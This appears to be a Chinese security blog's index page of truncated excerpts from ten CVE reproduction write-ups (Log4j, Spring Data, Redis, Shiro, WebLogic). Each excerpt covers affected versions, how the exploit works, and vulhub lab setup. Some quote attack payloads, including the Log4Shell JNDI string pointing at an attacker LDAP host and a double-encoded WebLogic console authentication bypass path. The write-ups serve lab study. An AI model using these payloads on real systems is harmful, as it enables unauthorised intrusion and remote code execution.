Log4j 反序列化命令执行漏洞 CVE-2017-5645
影响范围 Apache Log4j 2.0-alpha1 - 2.8.1 漏洞类型Java 反序列化 操作系统限制无 配置要求 启动 Log4j 的 TcpSocketServer 服务,监听 4712 端口(也可指定其他端口) 漏洞利用命令执行,反弹 shell,植入木马 利用原理Log4j 的 TcpSocketServer 和 UdpSocketServer 类中,在接收日志数据时,没有对数据进行安全检验,直接通过 ObjectInputSteam.readObject() 进行反序列化,攻击者可以构造被序列化的恶意对象链来实现命令执行 漏洞复现用现成的 vulhub 来拉取镜像 123456#下载vulhub源代码git clone https://github.com/vulhub/vulhub.git#进入漏洞目录cd vulhub/log4j/CVE-2017-5645#拉取镜像docker-compose up -d 扫描靶机端口 4712,用 telnet 连接成功连接,说明端口开放 12telnet 公网ip 被扫描端口nc -zv 公网ip 被扫描端...
Spring Data Rest 远程命令执行漏洞 CVE-2017-8046
影响范围 Spring Data REST 2.5.0 - 2.5.11 Spring Data REST 2.6.0 - 2.6.8 Spring Data REST 3.0.0.RC1 - 3.0.0.RC3 Spring Boot 1.5.0 - 1.5.8 Spring Boot 1.4.x 及更早版本 漏洞类型SpEL 表达式注入 操作系统限制无 配置要求默认配置 漏洞利用命令执行,进行反弹 shell,写入木马 利用原理Spring Data REST 支持通过 PATCH 请求对资源进行局部更新,PATCH 请求包含一个 path 字段,用于指定修改的对象属性,后端接受请求时,Spring 会将 path 字段直接传递给 SpeExpressionParser 解析,框架没用对 path 进行安全过滤或合法性检验,攻击者可以在 path 字段构造 SpEL 表达式实现代码执行 漏洞复现用现成的 vulhub 来拉取镜像 123456#下载vulhub源代码git clone https://github.com/vulhub/vulhub.git#进入漏洞目录c...
Redis 沙盒逃逸漏洞 CVE-2022-0543
影响范围 Debian 10 (Buster) Redis 软件包: 5.0 - 5.0.14-1 Debian 11 (Bullseye) Redis 软件包: 6.0 - 6.0.16-1 Ubuntu 18.04 LTS Redis 软件包: 4.0.0 - 4.0.9-1ubuntu0.2 Ubuntu 20.04 LTS Redis 软件包: 5.0.0 - 5.0.7-2ubuntu0.1 Ubuntu 22.04 LTS Redis 软件包: 6.0.0 - 6.0.15-1ubuntu0.1 Docker Redis (Debian / Bullseye 变体) 镜像: 5.0.0 - 5.0.14 Docker Redis (Debian / Bullseye 变体) 镜像: 6.0.0 - 6.0.15 Kali Linux Redis 软件包: 5.0.0 - 6.0.15 Raspbian (树莓派) Redis 软件包: 4.0.0 - 6.0.15 其他 Debian 系衍生版 Redis 软件包: 4.0.0 - 7.0.0-rc2 漏洞类型Red...
Shiro 认证绕过漏洞 CVE-2020-1957
影响范围 Apache Shiro 1.0.0-incubating - 1.5.1 漏洞类型权限绕过 操作系统限制无 配置要求 Shiro 拦截器采用了路径匹配模式 漏洞利用登录管理后台,信息泄露 利用原理在 Shiro 的 1.5.2 之前的版本中,WebUtils.getPathWithinApplication() 方法处理 URL 时候会根据分号对路径进行截断,会认为分号后面不属于路径一部分;而 Spring 框架在匹配控制器路由时候,会对 URL 进行标准化处理(例如解析穿越符..),它对分号处理方式不同。二者对请求的解析不一样,攻击者通过特殊构造/;/路径来绕过 Shiro 的过滤 漏洞复现现成的 vulhub 来拉取镜像 123456#下载vulhub源代码git clone https://github.com/vulhub/vulhub.git#进入漏洞目录cd vulhub/shiro/CVE-2020-1957#拉取镜像docker-compose up -d 抓取 http://靶机 ip:8080/admin 数据包 发送到 Repeater...
Log4j2 远程命令执行漏洞 CVE-2021-44228
影响范围 Apache Log4j 2.0-beta9 - 2.14.1 漏洞类型 JNDI 注入 操作系统限制无 配置要求开启端口 8983 和 5005 漏洞利用命令执行,反弹 shell 利用原理Log4j 支持 JNDI 协议的 Lookup 功能,该功能运行开发者在日志中动态插入系统属性(语法格式为 ${prefix:name}),而通过 JNDI,Java 查询可以连接外部资源,攻击者在这里用到了 LDAP 目录服务。攻击者在 HTTP Header 或 URL 参数中发送构造的 payload:${jndi:ldap://攻击机 ip:1389/Exploit},后端处理这个请求时候会把这个 payload 信息写入日志,Log4j 解析 payload 时,靶机向攻击机请求 LDAP 资源,攻击机返回恶意代码,靶机执行恶意代码完成命令执行 漏洞复现用现成的 vulhub 来拉取镜像 123456#下载vulhub源代码git clone https://github.com/vulhub/vulhub.git#进入漏洞目录cd vulhub/log4j/CVE-...
Spring Data Commons 远程命令执行 CVE-2018-1273
影响范围 Spring Data Commons 1.13 - 1.13.10 Spring Data Commons 2.0 - 2.0.5 Spring Boot 1.5.0 - 1.5.11 Spring Boot 2.0.0 - 2.0.1 漏洞类型SpEL 表达式注入 操作系统限制无 配置要求默认配置 漏洞利用命令执行,进行反弹 shell,写入木马 利用原理Spring MVC 中,当用户通过 POST 表单提交数据,Spring Data 会尝试将请求参数绑定到后端 Java 对象或 Map 中,Spring Data 允许参数名通过方括号语法定位集合或 Map 中的元素(例如 tags [0] 或 users [‘admin’]),当 Spring Data 处理方括号 2 的参数名时候,会调用 MapDataBinder 进行解析,而系统直接调用 SpEL 引擎来解析方括号内容且不做过滤,攻击者可以通过参数名的方括号注入恶意 SpEL 代码实现命令执行 漏洞复现用现成的 vulhub 来拉取镜像 123456#下载vulhub源代码git clone http...
WebLogic 任意文件上传漏洞 CVE-2018-2894
影响范围 Oracle WebLogic Server: 12.1.3.0.0 Oracle WebLogic Server: 12.2.1.2.0 Oracle WebLogic Server: 12.2.1.3.0 漏洞类型任意文件上传 操作系统限制无 配置要求 端口 7001 对外开放 WebLogic 管理控制台勾选启用测试服务 漏洞利用文件上传 利用原理WebLogic 包含一个用于测试 Web 服务的组件 wls-testclient,攻击者无需登录管理控制台直接访问/ws_utc/config.do,该页面允许用户设置工作目录,且缺乏权限校验,攻击者可以将路径篡改到 WebLogic 的 Web 公开目录,修改完路径后,攻击者可以上传恶意 jsp 文件,文件名为系统时间戳_文件名.jsp,该文件可以通过 HTTP 协议直接被外界请求并触发执行,通过木马可以获取服务器控制权 漏洞复现现成的 vulhub 来拉取镜像 123456#下载vulhub源代码git clone https://github.com/vulhub/vulhub.git#进入漏洞目录cd v...
Weblogic 命令执行漏洞 CVE-2018-2628
影响范围 WebLogic 10.3.6.0.0 WebLogic 12.1.3.0.0 WebLogic 12.2.1.2.0 WebLogic 12.2.1.3.0 漏洞类型Java 反序列化 操作系统限制无 配置要求 对外开放 7001 漏洞利用命令执行,反弹 shell 利用原理WebLogic 为防范反序列化设置黑名单,sun.rmi.server.UniicasetRef 不在黑名单内,T3 协议是 WebLogic 独有的通信协议,主要用于不同 Java 虚拟机之间传输对象,WebLogic 默认所以端口都支持 T3,攻击者通过 T3 协议把精心构造的 UnicastRef 序列化对象发给 WebLogic,WebLogic 反序列化对象时,会作为 JRMP 客户端主动连接攻击者服务器,攻击者服务器下发恶意 payload,此时 WebLogic,是通过 JRMP 协议进行数据传输,从而绕过最外层的 T3 协议过滤器 漏洞复现现成的 vulhub 来拉取镜像 123456#下载vulhub源代码git clone https://github.com/vulhu...
WebLogic 未授权命令执行漏洞复现 CVE-2020-14882
影响范围 Oracle WebLogic Server: 10.3.6.0.0 Oracle WebLogic Server: 12.1.3.0.0 Oracle WebLogic Server: 12.2.1.3.0 Oracle WebLogic Server: 12.2.1.4.0 Oracle WebLogic Server: 14.1.1.0.0 漏洞类型未授权访问、Java 反序列化 操作系统限制无 配置要求 7001 端口对外开放 漏洞利用命令执行,信息泄露,反弹 shell 利用原理WebLogic 控制台的权限检验逻辑是,如果访问静态资源则直接放行,如果是敏感的管理页面,则检查 Cookie 确认登录状态,攻击者通过构造含静态路径字段的 payload 来绕过 WebLogic 前端拦截器,访问路径为 /console/css/../console.portal,WebLogic 内部引擎会对 url 编码部分进行解码,所以攻击者通过二次 url 编码构造成/console/css/%252e%252e%252fconsole.portal,来绕过 WebL...
WebLogic 远程代码执行漏洞 CVE-2023-21839
影响范围 WebLogic Server 12.2.1.3.0 WebLogic Server 12.2.1.4.0 WebLogic Server 14.1.1.0.0 漏洞类型未授权访问、JNDI 注入、Java 反序列化 操作系统限制无 配置要求 7001 端口对外开放 漏洞利用命令执行,反弹 shell 利用原理WebLogic 默认开启 T3 协议用于内部分布式通信,T3 协议某些接口没有对调用者进行身份校验,WebLogic 内部中的一个叫 weblogic.deployment.jms.ForeignOpaqueReference 的类是用来引用外部资源的,当把这个类的一个实例发送给 WebLogic 会触发 getReferent () 方法,WebLogic 会自动根据对象内部存储的 remoteJNDIName 发起新的请求,攻击者利用反射机制,强行将 remoteJNDIName 改成恶意的 ldap://攻击机 ip:1389/Exploit。WebLogic 访问 marshalsec(LDAP)时,marshalsec 返回一个引用对象,里面含有编...